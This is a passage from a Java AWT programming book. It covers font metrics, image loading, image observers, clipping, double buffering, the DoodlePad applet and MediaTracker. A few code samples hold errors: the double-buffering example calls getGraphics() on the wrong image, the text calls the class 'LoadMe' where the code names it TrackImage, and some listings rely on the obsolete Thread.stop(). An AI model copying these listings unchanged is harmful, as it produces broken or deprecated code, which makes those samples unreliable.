Compile FontShow and run it with an applet tag like the following:

<applet height=200 width=250 code=FontShow>
    <param name="word" value="Lemming">
</applet>

The word parameter specifies the text to be displayed.

FontShow may look a bit complicated, but there's really not much to it. The bulk of the code is in paint(), which simply sets the font, draws our word, and adds a few lines to illustrate some of the font's characteristics (metrics). For fun we also catch mouse clicks (in the mouseClicked() method) and alternate the font size by setting the bigFont variable and repainting.

By default, text is rendered above and to the right of the coordinates specified in the drawString() method. If you think of that starting point as the origin of a coordinate system, we'll call the axes the "baselines" of the font. FontShow draws these lines in white. The greatest height the characters stretch above the baseline is called the ascent and is shown by a green line. Some fonts also have parts of letters that fall below the baseline. The farthest distance any character reaches below the baseline is called the descent. FontShow illustrates this with a red line.

We ask for the ascent and descent of our font with the FontMetrics getMaxAscent() and getMaxDescent() methods. We also ask for the width of our string (when rendered in this font) with the stringWidth() method. We use this information to center the word in the display area. To center the word vertically, we average the influence of the ascent and descent.

Table 13.2 provides a short list of methods that return useful font metrics.

Table 13.2: Font Metric Methods
Method | Description
getFont() | Font object these metrics describe
getAscent() | Height above baseline
getDescent() | Depth below baseline
getLeading() | Standard vertical spacing between lines
getHeight() | Total line height (ascent + descent + leading)
charWidth(char ch) | Width of a character
stringWidth(String str) | Width of a string
getWidths() | The widths of the first 256 characters in this font; returns int[]
getMaxAdvance() | Maximum character width of any character

Leading space is the padding between lines of text. The getHeight() method reports the total height of a line of text, including the leading space.

Previous | Home | Next
Colors | Book Index | Images
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] 13.4 Images

Previous Chapter 13
Drawing With the AWT 		Next

13.4 Images

So far, we've worked with methods for drawing simple shapes and displaying text. For more complex graphics, we'll be working with images. AWT has a powerful set of tools for generating and displaying image data that address the problems of working in a distributed and multithreaded application environment. We'll start with the basics of the java.awt.Image class and see how to get an image into an Applet and draw it on a display. This job isn't quite as simple as it sounds; the browser might have to retrieve the image from a networked source when we ask for it. Fortunately, if we're just interested in getting the image on the screen whenever it's ready, we can let AWT handle the details for us. Later in this chapter, we'll discuss how to manage image loading ourselves, as well as how to create raw image data and feed it efficiently to the rest of an application.

The Image Class

The java.awt.Image class represents a view of an image. The view is created from an image source that produces pixel data. Images can be from a static source, such as GIF or JPEG data, or a dynamic one, such as a video stream or a graphics engine. The Image class in Java 1.1 also handles GIF89a animations.

An applet can ask its viewer to retrieve an image by calling the getImage() method. The location of the image to be retrieved is given as a URL, either absolute or fetched from the applet's resources:

public class MyApplet extends java.applet.Applet {
    public void init() {
        try {
            // absolute URL
            URL monaURL = new URL(
                "http://myserver/images/mona_lisa.gif");
            Image monaImage = getImage( monaURL );

            // applet resource URL
            URL daffyURL = getClass().getResource("cartoons/images/daffy.gif");
            Image daffyDuckImage = getImage( daffyURL );
        }
        catch ( MalformedURLException e ) { // unintelligable url }

We usually want to package an applet's images with the applet itself, so the second form, using getResource(), is preferred; it looks for the image in the applet's JAR file (if there is one), before looking elsewhere in the server's file system. See Chapter 8, Input/Output Facilities (I/O) for more about loading class resources.

Once we have an Image object, we can draw it into a graphics context with the drawImage() method of the Graphics class. The simplest form of drawImage() takes four parameters: the Image object, the x, y coordinates at which to draw it, and a reference to a special image observer object.

Image Observers

Images in AWT are processed asynchronously, which means Java performs image operations like loading and scaling on its own time. For example, the getImage() method always returns immediately, even if the image data has to be retrieved over the network from Mars and isn't available yet. In fact, if it's a new image, Java won't even begin to fetch it until we try to use it. The advantage of this technique is that Java can do the work of a powerful, multithreaded image-processing environment for us. However, it also introduces several problems. If Java is loading an image for us, how do we know when it's completely loaded? What if we want to work with the image as it arrives? What if we need to know properties of the image (like its dimensions) before we can start working with it? What if there's an error in loading the image?

These problems are handled by image observers--designated objects that implement the ImageObserver interface. All operations that draw or examine Image objects return immediately, but they take an image-observer object as a parameter. The ImageObserver monitors the image's status and can make that information available to the rest of the application. When image data is loaded from its source, an image observer is notified of its progress, including when new pixels are available, when a complete frame of the image is ready, and if there is an error during loading. The image observer also receives attribute information about the image, such as its dimensions and properties, as soon as they are known.

The drawImage() method, like other image operations, takes a reference to an ImageObserver object as a parameter. drawImage() returns a boolean value specifying whether or not the image was painted in its entirety. If the image data has not yet been loaded or is only partially available, drawImage() paints whatever fraction of the image it can and returns. The image-observer object, however, is registered as being interested in information about the image. It's then called repeatedly as more pixel information is available and again when the entire image is complete. The image observer can do whatever it wants with this information. Most often it calls repaint() to prompt the applet to draw the image again with the updated data; as you should recall, a call to repaint() initiates a call to paint() to be scheduled. In this way an applet can redraw the image as it arrives, for a progressive loading effect. Alternatively, it could wait until the entire image is loaded before displaying it.

We'll discuss creating image observers a bit later. For now, we can avoid the issue by using a prefabricated image observer. It just so happens that the Component class implements the ImageObserver interface and provides some simple repainting behavior for us. This means that every component can serve as its own default image observer; we simply pass a reference to our applet (or other component) as the image-observer parameter of a drawImage() call. Hence the mysterious this we've occasionally seen when working with graphics:

class MyApplet extends java.applet.Applet {
    ...
    public void paint( Graphics g ) {
        drawImage( monaImage, x, y, this );
        ...

Our applet serves as the image observer and calls repaint() for us to redraw the image as necessary. If the image arrives slowly, our applet is notified repeatedly, as new chunks become available. As a result, the image appears gradually, as it's loaded. The awt.image.incrementaldraw and awt.image.redrawrate system properties control this behavior. redrawrate limits how often repaint() is called; the default value is every 100 milliseconds. incrementaldraw prevents drawing until the entire image has arrived. By default, this property is set to "true"; set it to "false" to turn off incremental redrawing.

Scaling and Size

Another version of drawImage() renders a scaled version of the image:

drawImage( monaImage, x, y, x2, y2, this );

This draws the entire image within the rectangle formed by the points x, y and x2, y2, scaling as necessary. (Cool, eh?) drawImage() behaves the same as before; the image is processed by the component as it arrives and the image observer is notified as more pixel data and the completed image are available. Several other overloaded versions of drawImage() provide more complex options: you can scale, crop, and perform some simple transpositions.

If you want to actually make a scaled copy of an image (as opposed to simply painting one at draw time), you can call getScaledInstance(). Here's how:

Image scaledDaffy =
    daffyImage.getScaledInstance(100,200,SCALE_AREA_AVERAGING);

This method scales the original image to the given size; in this case, 100 by 200 pixels. It returns a new Image that you can draw like any other image. SCALE_AREA_AVERAGING is a constant that tells getScaledImage() what scaling algorithm to use. The algorithm used here tries to do a decent job of scaling, at the expense of time. Some alternatives that take less time are SCALE_REPLICATE, which scales by replicating scan lines and columns (which is fast, but probably not pretty). You can also specify either SCALE_FAST, or SCALE_SMOOTH and let the implementation choose an appropriate algorithm that optimizes for time or quality. If you don't have specific requirements, you should use SCALE_DEFAULT which, ideally, would be set by a preference in the user's environment.

Scaling an image before calling drawImage() can improve performance, because the image loading and scaling can take place before the image is actually needed. Of course, the same amount of work takes place, but in most situations, prescaling will make the program appear faster because it takes place while other things are going on; the user doesn't have to wait as long for the image to display.

The Image getHeight() and getWidth() methods retrieves the dimensions of an image. Since this information may not be available until the image data is completely loaded, both methods also take an ImageObserver object as a parameter. If the dimensions aren't yet available, they return values of -1 and notify the observer when the true value is known. We'll see how to deal with these and other problems a bit later. For now, we'll use Component as an image observer to get by, and move on to some general painting techniques.

Previous | Home | Next
Fonts | Book Index | Drawing Techniques
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] 13.5 Drawing Techniques

Previous Chapter 13
Drawing With the AWT 		Next

13.5 Drawing Techniques

Having learned to walk, let's try a jog. In this section, we'll look at some techniques for doing fast and flicker-free drawing and painting. If you're interested in animation or smooth updating, you should read on.[4]

[4] At this point, you still have to build your own animation software. JavaSoft will be releasing an animation package as part of the Java Media APIs.

Drawing operations take time, and time spent drawing leads to delays and imperfect results. Our goal is to minimize the amount of drawing work we do and, as much as possible, to do that work away from the eyes of the user. You'll remember that our TestPattern applet had a blinking problem. It blinked because TestPattern performs several, large, area-filling operations each time its paint() method is called. On a very slow system, you might even be able to see each shape being drawn in succession. TestPattern could be easily fixed by drawing into an off-screen buffer and then copying the completed buffer to the display. To see how to eliminate flicker and blinking problems, we'll look at an applet that needs even more help.

TerribleFlicker illustrates some of the problems of updating a display. Like many animations, it has two parts: a constant background and a changing object in the foreground. In this case, the background is a checkerboard pattern and the object is a small, scaled image we can drag around on top of it, as shown in Figure 13.6. Our first version of TerribleFlicker lives up to its name and does a very poor job of updating.

Figure 13.6: The TerribleFlicker applet

[Graphic: Figure 13-6]

import java.awt.*;
import java.awt.event.*;
public class TerribleFlicker extends java.applet.Applet
                                    implements MouseMotionListener {
    int grid = 10;
    int currentX, currentY;
    Image img;
    int imgWidth = 60, imgHeight = 60;
    public void init() {
        img = getImage( getClass().getResource(getParameter("img")) );
        addMouseMotionListener( this );
    }
    public void mouseDragged( MouseEvent e ) {
        currentX = e.getX(); currentY = e.getY();
        repaint();
    }
    public void mouseMoved( MouseEvent e ) { }; // complete MouseMotionListener
    public void paint( Graphics g ) {
        int w = getSize().width/grid;
        int h = getSize().height/grid;
        boolean black = false;
        for ( int y = 0; y <= grid; y++ )
            for ( int x = 0; x <= grid; x++ ) {
                g.setColor(  (black = !black) ? Color.black : Color.white );
                g.fillRect( x * w, y * h, w, h );
            }
        g.drawImage( img, currentX, currentY, imgWidth, imgHeight, this );
    }
}

Try dragging the image; you'll notice both the background and foreground flicker as they are repeatedly redrawn. What is TerribleFlicker doing, and what is it doing wrong?

As the mouse is dragged, TerribleFlicker keeps track of its position in two instance variables, currentX and currentY. On each call to mouseDragged(), the coordinates are updated, and repaint() is called to ask that the display be updated. When paint() is called, it looks at some parameters, draws the checkerboard pattern to fill the applet's area, and finally paints a small version of the image at the latest coordinates.

Our first, and biggest, problem is that we are updating, but we have neglected to implement the applet's update() method with a good strategy. Because we haven't overridden update(), we are getting the default implementation of the Component update() method, which looks something like this:

// Default implementation of applet update
public void update( Graphics g ) {
    setColor ( backgroundColor );
    fillRect( 0, 0, getSize().width, getSize().height );
    paint ( g );
}

This method simply clears the display to the background color and calls our paint() method. This is almost never the best strategy, but is the only appropriate default for update(), which doesn't know how much of the screen we're really going to paint.

Our applet paints its own background, in its entirety, so we can provide a simpler version of update() that doesn't bother to clear the display:

// add to TerribleFlicker
public void update( Graphics g ) {
    paint( g );
}

This applet works better because we have eliminated one large, unnecessary, and (in fact) annoying graphics operation. However, although we have eliminated a fillRect() call, we're still doing a lot of wasted drawing. Most of the background stays the same each time it's drawn. You might think of trying to make paint() smarter, so that it wouldn't redraw these areas, but remember that paint() has to be able to draw the entire scene because it might be called in situations when the display isn't intact. The solution is to have update() help out by restricting the area paint() can draw.

Clipping

The setClip() method of the Graphics class restricts the drawing area of a graphics context to a smaller region. A graphics context normally has an effective clipping region that limits drawing to the entire display area of the component. We can specify a smaller clipping region with setClip().

How is the drawing area restricted? Well, foremost, drawing operations that fall outside of the clipping region are not displayed. If a drawing operation overlaps the clipping region, we see only the part that's inside. A second effect is that, in a good implementation, the graphics context can recognize drawing operations that fall completely outside the clipping region and ignore them altogether. Eliminating unnecessary operations can save time if we're doing something complex, like filling a bunch of polygons. This doesn't save the time our application spends calling the drawing methods, but the overhead of calling these kinds of drawing methods is usually negligible compared to the time it takes to execute them. (If we were generating an image pixel by pixel, this would not be the case, as the calculations would be the major time sink, not the drawing.)

So we can save time in our applet by having our update method set a clipping region that results in only the affected portion of the display being redrawn. We can pick the smallest rectangular area that includes both the old image position and the new image position, as shown in Figure 13.7. This is the only portion of the display that really needs to change; everything else stays the same.

Figure 13.7: Determining the clipping region

[Graphic: Figure 13-7]

An arbitrarily smart update() could save even more time by redrawing only those regions that have changed. However, the simple clipping strategy we've implemented here can be applied to many kinds of drawing, and gives quite good performance, particularly if the area being changed is small.

One important thing to note is that, in addition to looking at the new position, our updating operation now has to remember the last position at which the image was drawn. Let's fix our applet so it will use a clipping region. To keep this short and emphasize the changes, we'll take some liberties with design and make our next example a subclass of TerribleFlicker. Let's call it ClippedFlicker:

public class ClippedFlicker extends TerribleFlicker {
    int nextX, nextY;

    public void mouseDragged( MouseEvent e ) {
        nextX = e.getX(); nextY = e.getY();
        repaint();
    }
    void clipToAffectedArea( Graphics g, int oldx, int oldy, int newx,
                                        int newy, int width, int height) {
        int x = Math.min( oldx, newx );
        int y = Math.min( oldy, newy );
        int w = ( Math.max( oldx, newx ) + width ) - x;
        int h = ( Math.max( oldy, newy ) + height ) - y;
        g.setClip( x, y, w, h );
    }
    public void update( Graphics g ) {
        int lastX = currentX, lastY = currentY;
        currentX = nextX; currentY = nextY;
        clipToAffectedArea( g, lastX, lastY, currentX, currentY, imgWidth, imgHeight );
        paint( g );
    }
}

You should find that ClippedFlicker is significantly faster, though it still flickers. We'll make one more change in the next section to eliminate that.

So, what have we changed? First, we've overridden mouseDragged() so that instead of setting the current coordinates of the image, it sets another pair of coordinates called nextX and nextY. These are the coordinates at which we'll display the image the next time we draw it.

update() now has the added responsibility of taking the next position and making it the current position, by setting the currentX and currentY variables. This effectively decouples mouseDragged() from our painting routines. We'll discuss why this is advantageous in a bit. update() then uses the current and next coordinates to set a clipping region on the Graphics object before handing it off to paint().

We have created a new, private method to help it do this. clipToAffectedArea() takes as arguments the new and old coordinates and the width and height of the image. It determines the bounding rectangle as shown in Figure 13.6, then calls setClip() to set the clipping region. As a result, when paint() is called, it draws only the affected area of the screen.

So, what's the deal with nextX and nextY? By making update() keep track of the next, current, and last coordinates separately, we accomplish two things. First, we always have an accurate view of where the last image was drawn and second, we have decoupled where the next image will be drawn from mouseDragged().

It's important to decouple painting from mouseDragged() because there isn't necessarily a one-to-one correspondence between calls to repaint() and subsequent calls by AWT to our update() method. This isn't a defect; it's a feature that allows AWT to schedule and consolidate painting requests. Our concern is that our paint() method may be called at arbitrary times while the mouse coordinates are changing. This is not necessarily bad. If we are trying to position our object, we probably don't want the display to be redrawn for every intermediate position of the mouse. It would slow down the dragging unnecessarily.

If we were concerned about getting every single change in the mouse's position, we would have two options. We could either do some work in the mouseDragged() method itself, or put our events into some kind of queue. We'll see an example of the first solution in our DoodlePad example a bit later. The latter solution would mean circumventing AWT's own event-scheduling capabilities and replacing them with our own, and we don't want to take on that responsibility.

Double Buffering

Now let's get to the most powerful technique in our toolbox: double buffering. Double buffering is a technique that fixes our flickering problems completely. It's easy to do and gives us almost flawless updates. We'll combine it with our clipping technique for better performance, but in general you can use double buffering with or without clipping.

Double buffering our display means drawing into an off-screen buffer and then copying our completed work to the display in a single painting operation, as shown in Figure 13.8. It takes the same amount of time to draw a frame, but double buffering instantaneously updates our display when it's ready.

Figure 13.8: Double buffering

[Graphic: Figure 13-8]

We can get this effect by changing just a few lines of our ClippedFlicker applet. Modify update() to look like the following and add the new offScreenImage instance variable as shown:

...
public class DoubleBufferedClipped extends ClippedFlicker {
    Image offScreenImage;
    Graphics offScreenGC;
    public void update( Graphics g ) {
        if ( offScreenImage == null ) {
            offScreenImage = createImage( getSize().width, getSize().height );
            offScreenGC = img.getGraphics();
        }
        int lastX = currentX, lastY = currentY;
        currentX = nextX; currentY = nextY;
        clipToAffectedArea( offScreenGC, lastX, lastY, currentX, currentY, imgWidth, imgHeight );
        clipToAffectedArea( g, lastX, lastY, currentX, currentY, imgWidth, imgHeight );
        paint( offScreenGC );
        g.drawImage(offScreenImage, 0, 0, this);
    }
}
...

Now, when you drag the image, you shouldn't see any flickering. The update rate should be about the same as in the previous example (or marginally slower), but the image should move from position to position without noticeable repainting.

So, what have we done this time? Well, the new instance variable, offScreenImage, is our off-screen buffer. It is a drawable Image object. We can get an off-screen Image for a component with the createImage() method. createImage() is similar to getImage(), except that it produces an empty image area of the specified size. We can then use the off-screen image like our standard display area by asking it for a graphics context with the Image getGraphics() method. After we've drawn into the off-screen image, we can copy that image back onto the screen with drawImage().

The biggest change to the code is that we now pass paint() the graphics context of our off-screen buffer, rather than that of the on-screen display. paint() is now drawing on offScreenImage; it's our job to copy the image to the display when it's done. This might seem a little suspicious to you, as we are now using paint() in two capacities. AWT calls paint() whenever it's necessary to repaint our entire applet and passes it an on-screen graphics context. When we update ourselves, however, we call paint() to do its work on our off-screen area and then copy that image onto the screen from within update().

Note that we're still clipping. In fact, we're clipping both the on-screen and off-screen buffers. Off-screen clipping has the same benefits we described earlier: AWT should be able to ignore wasted drawing operations. On-screen clipping minimizes the area of the image that gets drawn back to the display. If your display is fast, you might not even notice the savings, but it's an easy optimization, so we'll take advantage of it.

We create the off-screen buffer in update() because it's a convenient and safe place to do so. Also, note that our image observer probably won't be called, since drawImage() isn't doing anything nasty like scaling, and the image itself is always available.

The dispose() method of the Graphics class allows us to deallocate a graphics context explicitly when we are through with it. This is simply an optimization. If we were creating new graphics contexts frequently (say, in each paint()), we could give the system help in getting rid of them. This might provide some performance improvement when doing heavy drawing. We could allow garbage collection to reclaim the unused objects; however, the garbage collection process might be hampered if we are doing intense calculations or lots of repainting.

Off-Screen Drawing

In addition to serving as buffers for double buffering, off-screen images are useful for saving complex, hard-to-produce, background information. We'll look at a simple example: the "doodle pad." DoodlePad is a simple drawing tool that lets us scribble by dragging the mouse, as shown in Figure 13.9. It draws into an off-screen image; its paint() method simply copies the image to the display area.

Figure 13.9: The DoodlePad applet

[Graphic: Figure 13-9]

import java.awt.*;
import java.awt.event.*;
public class DoodlePad extends java.applet.Applet implements ActionListener {
    DrawPad dp;
    public void init() {
        setLayout( new BorderLayout() );
        add( "Center", dp = new DrawPad() );
        Panel p = new Panel();
        Button clearButton = new Button("Clear");
        clearButton.addActionListener( this );
        p.add( clearButton );
        add( "South", p );
    }
    public void actionPerformed( ActionEvent e ) {
        dp.clear();
    }
}
class DrawPad extends Canvas {
    Image drawImg;
    Graphics drawGr;
    int xpos, ypos, oxpos, oypos;
    DrawPad() {
        setBackground( Color.white );
        enableEvents( AWTEvent.MOUSE_EVENT_MASK
            | AWTEvent.MOUSE_MOTION_EVENT_MASK );
    }
    public void processEvent( AWTEvent e ) {
        int x = ((MouseEvent)e).getX(), y = ((MouseEvent)e).getY();
        if ( e.getID() == MouseEvent.MOUSE_DRAGGED ) {
            xpos = x; ypos = y;
            if ( drawGr != null )
                drawGr.drawLine( oxpos, oypos, oxpos=xpos, oypos=ypos );
            repaint();
        } else
        if ( e.getID() == MouseEvent.MOUSE_PRESSED ) {
            oxpos = x; oypos = y;
        }
        super.processEvent(e);
    }
    public void update( Graphics g ) {
        paint(g);
    }
    public void paint( Graphics g ) {
        if ( drawImg == null ) {
            drawImg = createImage( getSize().width, getSize().height );
            drawGr = drawImg.getGraphics();
        }
        g.drawImage(drawImg, 0, 0, null);
    }
    public void clear() {
        drawGr.clearRect(0, 0, getSize().width, getSize().height);
        repaint();
    }
}

Give it a try. Draw a nice moose, or a sunset. I just drew a lovely cartoon of Bill Gates. If you make a mistake, hit the Clear button and start over.

The parts should be familiar by now. We have made a type of Canvas called DrawPad. The new DrawPad component handles mouse events by enabling both simple mouse events (mouse clicks) and mouse motion events (mouse drags), and then overriding the processEvent() method to handle these events. By doing so, we are simulating the old (Java 1.0) event handling model; in this situation, it's a little more convenient than implementing all the methods of the MouseListener and MouseMotionListener interfaces. The processEvent() method handles MOUSE_DRAGGED movement events by drawing lines into an off-screen image and calling repaint() to update the display. DrawPad's paint() method simply does a drawImage() to copy the off-screen drawing area to the display. In this way, DrawPad saves our sketch information.

What is unusual about DrawPad is that it does some drawing outside of paint() or update(). In our clipping example, we talked about decoupling update() and mouseDragged(); we were willing to discard some mouse movements in order to save some updates. In this case, we want to let the user scribble with the mouse, so we should respond to every mouse movement. Therefore, we do our work in processEvent() itself. As a rule, we should be careful about doing heavy work in event handling methods because we don't want to interfere with other tasks the AWT thread is performing. In this case, our line drawing operation should not be a burden, and our primary concern is getting as close a coupling as possible between the mouse movement events and the sketch on the screen.

In addition to drawing a line as the user drags the mouse, the part of processEvent() that handles MOUSE_DRAGGED() events maintains a set of old coordinates, to be used as a starting point for the next line segment. The part of processEvent() that handles MOUSE_PRESSED events resets the old coordinates to the current mouse position whenever the user picks up and moves to a new location. Finally, DrawPad provides a clear() method that clears the off-screen buffer and calls repaint() to update the display. The DoodlePad applet ties the clear() method to an appropriately labeled button through its actionPerformed() method.

What if we wanted to do something with the image after the user has finished scribbling on it? Well, as we'll see in the next section, we could get the pixel data for the image from its ImageProducer object and work with that. It wouldn't be hard to create a save facility that stores the pixel data and reproduces it later. Think about how you might go about creating a networked "bathroom wall" where people could scribble on your Web pages.

Previous | Home | Next
Images | Book Index | Working With Images
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 14] Working With Images

Previous Chapter 14 Next

14. Working With Images

Contents:
Image Processing
Working with Audio

14.1 Image Processing

Up to this point, we've confined ourselves to working with the high-level drawing commands of the Graphics class and using images in a hands-off mode. In this section, we'll clear up some of the mystery surrounding images and see how they are produced and used. The classes in the java.awt.image package handle image processing; Figure 14.1 shows the classes in this package.

Figure 14.1: The java.awt.image package

[Graphic: Figure 14-1]

First, we'll return to our discussion about image observers and see how we can get more control over image data as it's processed asynchronously by AWT components. Then we'll open the hood and have a look at image production. If you're interested in creating sophisticated graphics, such as rendered images or video streams, this will teach you about the foundations of image construction in Java.[1]

[1] You will also want to pay attention to the forthcoming Java Media API. Java Media will support plug-n-play streaming media.

Objects that work with image data fall into one of three categories: image-data producers, image-data consumers, and image-status observers. Image producers implement the ImageProducer interface. They create pixel data and distribute it to one or more consumers. Image consumers implement a corresponding ImageConsumer interface. They eat the pixel data and do something useful with it, such as display it on screen or analyze its contents. Image observers, as I mentioned earlier, implement the ImageObserver interface. They are effectively nosy neighbors of image consumers that watch as the image data arrives.

Image producers generate the information that defines each pixel of an image. A pixel has both a color and a transparency; the transparency specifies how pixels underneath the image show through. Image producers maintain a list of registered consumers for the image and send them this pixel data in one or more passes, as the pixels are generated. Image producers give the consumers other kinds of information as well, such as the image's dimensions. The producer also notifies the consumer when it has reached a boundary of the image. For a static image, such as GIF or JPEG data, the producer signals when the entire image is complete, and production is finished. For a video source or animation, the image producer could generate a continuous stream of pixel data and mark the end of each frame.

An image producer delivers pixel data and other image-attribute information by invoking methods in its consumers, as shown in Figure 14.2. This diagram illustrates an image producer sending pixel data to three consumers by invoking their setPixels() methods.

Figure 14.2: Image observers, producers, and consumers

[Graphic: Figure 14-2]

Each consumer represents a view of the image. A given consumer might prepare the image for display on a particular medium, or it might simply serve as a filter and pass the image data to another consumer down the line.

Figure 14.2 also shows an image observer, watching the status of one of the consumers. The observer is notified as new portions of the image and new attributes are ready. Its job is to track this information and let another part of the application know its status. As I discussed earlier, the image observer is essentially a callback that is notified asynchronously as the image is built. The default Component class image observer that we used in our previous examples called repaint() for us each time a new section of the image was available, so that the screen was updated more or less continuously as the data arrived. A different kind of image observer might wait for the entire image before telling the application to display it; yet another observer might update a loading meter showing how far the image loading had progressed.

Implementing an ImageObserver

To be an image observer, you have to implement the single method, imageUpdate(), defined by the java.awt.image.ImageObserver interface:

public boolean imageUpdate(Image image, int flags, int x, int y,
                           int width, int height)

imageUpdate() is called by the consumer, as needed, to pass the observer information about the construction of its view of the image. Essentially, any time the image changes, the consumer tells the observer so that the observer can perform any necessary actions, like repainting. image holds a reference to the Image object the consumer is processing. flags is an integer whose bits specify what information about the image is now available. The values of the flags are defined as static identifiers in the ImageObserver interface, as shown in Table 14.1.

Table 14.1: ImageObserver Information Flags
Flag | Description
HEIGHT | The height of the image is ready
WIDTH | The width of the image is ready
FRAMEBITS | A frame is complete
SOMEBITS | An arbitrary number of pixels have arrived
ALLBITS | The image is complete
ABORT | The image loading has been aborted
ERROR | An error occurred during image processing; attempts to display the image will fail

The flags determine which of the other parameters, x, y, width, and height, hold valid data and what they mean. To test whether a particular flag in the flags integer is set, we have to resort to some binary shenanigans. The following class, MyObserver, implements the ImageObserver interface and prints its information as it's called:

import java.awt.*;
import java.awt.image.*;

class MyObserver implements ImageObserver {

    public boolean imageUpdate( Image image, int flags, int x, int y,
                                int width, int height) {

        if ( (flags & HEIGHT) !=0 )
            System.out.println("Image height = " + height );

        if ( (flags & WIDTH ) !=0 )
            System.out.println("Image width = " + width );

        if ( (flags & FRAMEBITS) != 0 )
            System.out.println("Another frame finished.");

        if ( (flags & SOMEBITS) != 0 )
            System.out.println("Image section :"
                         + new Rectangle( x, y, width, height ) );

        if ( (flags & ALLBITS) != 0 ) {
            System.out.println("Image finished!");
            return false;
        }

        if ( (flags & ABORT) != 0 )  {
            System.out.println("Image load aborted...");
            return false;
        }

        return true;
    }
}

The imageUpdate() method of MyObserver is called by the consumer periodically, and prints simple status messages about the construction of the image. Notice that width and height play a dual role. If SOMEBITS is set, they represent the size of the chunk of the image that has just been delivered. If HEIGHT or WIDTH is set, however, they represent the overall image dimensions. Just for amusement, we have used the java.awt.Rectangle class to help us print the bounds of rectangular region.

imageUpdate() returns a boolean value indicating whether or not it's interested in future updates. If the image is finished or aborted, imageUpdate() returns false to indicate it isn't interested in further updates. Otherwise, it returns true.

The following example uses MyObserver to print information about an image as AWT loads it:

import java.awt.*;

public class ObserveImage extends java.applet.Applet {
    Image img;
    public void init() {
        img = getImage( getClass().getResource(getParameter("img")) );
        MyObserver mo = new MyObserver();
        img.getWidth( mo );
        img.getHeight( mo );
        prepareImage( img, mo );
    }
}

After requesting the Image object with getImage(), we perform three operations on it to kick-start the loading process. getWidth() and getHeight() ask for the image's width and height. If the image hasn't been loaded yet, or its size can't be determined until loading is finished, our observer will be called when the data is ready. prepareImage() asks that the image be readied for display on the component. It's a general mechanism for getting AWT started loading, converting, and possibly scaling the image. If the image hasn't been otherwise prepared or displayed, this happens asynchronously, and our image observer will be notified as the data is constructed.

You may be wondering where the image consumer is, since we never see a call to imageUpdate(). That's a good question, but for now I'd like you to take it on faith that the consumer exists. As you'll see later, image consumers are rather mysterious objects that tend to hide beneath the surface of image-processing applications. In this case, the consumer is hiding deep inside the implementation of Applet.

You should be able to see how we could implement all sorts of sophisticated image loading and tracking schemes. The two most obvious strategies, however, are to draw an image progressively, as it's constructed, or to wait until it's complete and draw it in its entirety. We have already seen that the Component class implements the first scheme. Another class, java.awt.MediaTracker, is a general utility that tracks the loading of a number of images or other media types for us. We'll look at it next.

Using a MediaTracker

java.awt.MediaTracker is a utility class that simplifies life if we have to wait for one or more images to be loaded before they're displayed. A MediaTracker monitors the preparation of an image or a group of images and lets us check on them periodically, or wait until they are completed. MediaTracker uses the ImageObserver interface internally to receive image updates.

The following applet, LoadMe, uses a MediaTracker to wait while an image is prepared. It shows a "Loading..." message while it's waiting. (If you are retrieving the image from a local disk or very fast network, this might go by quickly, so pay attention.)

import java.awt.*;
public class TrackImage extends java.applet.Applet implements Runnable {
    Image img;
    final int MAIN_IMAGE = 0;
    MediaTracker tracker;
    boolean show = false;
    Thread runme;
    String message = "Loading...";
    public void init() {
        img = getImage( getClass().getResource(getParameter("img")) );
        tracker = new MediaTracker(this);
        tracker.addImage( img, MAIN_IMAGE );
    }
    public void start() {
        if ( !tracker.checkID( MAIN_IMAGE ) ) {
            runme = new Thread( this );
            runme.start();
        }
    }
    public void stop() {
        runme.stop();
        runme = null;
    }
    public void run() {
        repaint();
        try {
            tracker.waitForID( MAIN_IMAGE );
        } catch( InterruptedException e) { }
        if ( tracker.isErrorID( MAIN_IMAGE ) )
            message= "Error";
        else
            show = true;
        repaint();
    }
    public void paint( Graphics g ) {
        if ( show )
            g.drawImage( img, 0, 0, this );
        else {
            g.drawRect( 0, 0, getSize().width-1, getSize().height-1);
            g.drawString( message, 20, 20 );
        }
    }
}

From its init() method, LoadMe requests its image and creates a MediaTracker to manage it. Later, after the applet is started, LoadMe fires up a thread to wait while the image is loaded. Note that we don't do this in init() because it would be rude to do anything time-consuming there; it would take up time in an AWT thread that we don't own. In this case, waiting in init() would be especially bad because paint() would never get called and our "loading" message wouldn't be displayed; the applet would just hang until the image loaded. It's often better to create a new thread for initialization and display a startup message in the interim.

When we construct a MediaTracker, we give it a reference to our component (this). After creating a MediaTracker, we assign it images to manage. Each image is associated with an integer identifier we'll use later for checking on its status. Multiple images can be associated with the same identifier, letting us manage them as a group. The value of the identifier is also used to prioritize loading when waiting on multiple sets of images; lower IDs have higher priority. In this case, we want to manage only a single image, so we created one identifier called MAIN_IMAGE and passed it as the ID for our image in the call to addImage().

In our applet's start() method, we call the MediaTracker's checkID() routine with the ID of the image to see if it's already been loaded. If it hasn't, the applet fires up a new thread to fetch it. The thread executes the run() method, which simply calls the MediaTracker waitforID() routine and blocks on the image, waiting for it to finish loading. The show flag tells paint() whether to display our status message or the actual image. We do a repaint() immediately upon entering run() to display the "Loading..." status, and again upon exiting to change the display. We test for errors during image preparation with isErrorID() and change the status message if we find one.

This may seem like a lot of work to go through, just to put up a status message while loading a single image. MediaTracker is more valuable when we are working with many images that have to be available before we can begin parts of our application. It saves us from implementing a custom ImageObserver for every application. In the future, MediaTracker should also be able to track the status of audio clips and other kinds of media (as its name suggests).

Producing Image Data

What if we want to make our own image data? To be an image producer, we have to implement the five methods defined in the ImageProducer interface:

  • addConsumer()

  • startProduction()

  • isConsumer()

  • removeConsumer()

  • requestTopDownLeftRightResend()

Four methods of ImageProducer simply deal with the process of registering consumers. addConsumer() takes an ImageConsumer as an argument and adds it to the list of consumers. Our producer can then start sending image data to the consumer whenever it's ready. startProduction() is identical to addConsumer(), except that it asks the producer to start sending data as soon as possible. The difference might be that a given producer would send the current frame of data or initiate construction of a frame immediately, rather than waiting until its next cycle. isConsumer() tests whether a particular consumer is already registered, and removeConsumer() removes a consumer from the list. We'll see shortly that we can perform these kinds of operations easily with a Vector; see Chapter 7, Basic Utility Classes for a complete discussion of Vector objects.

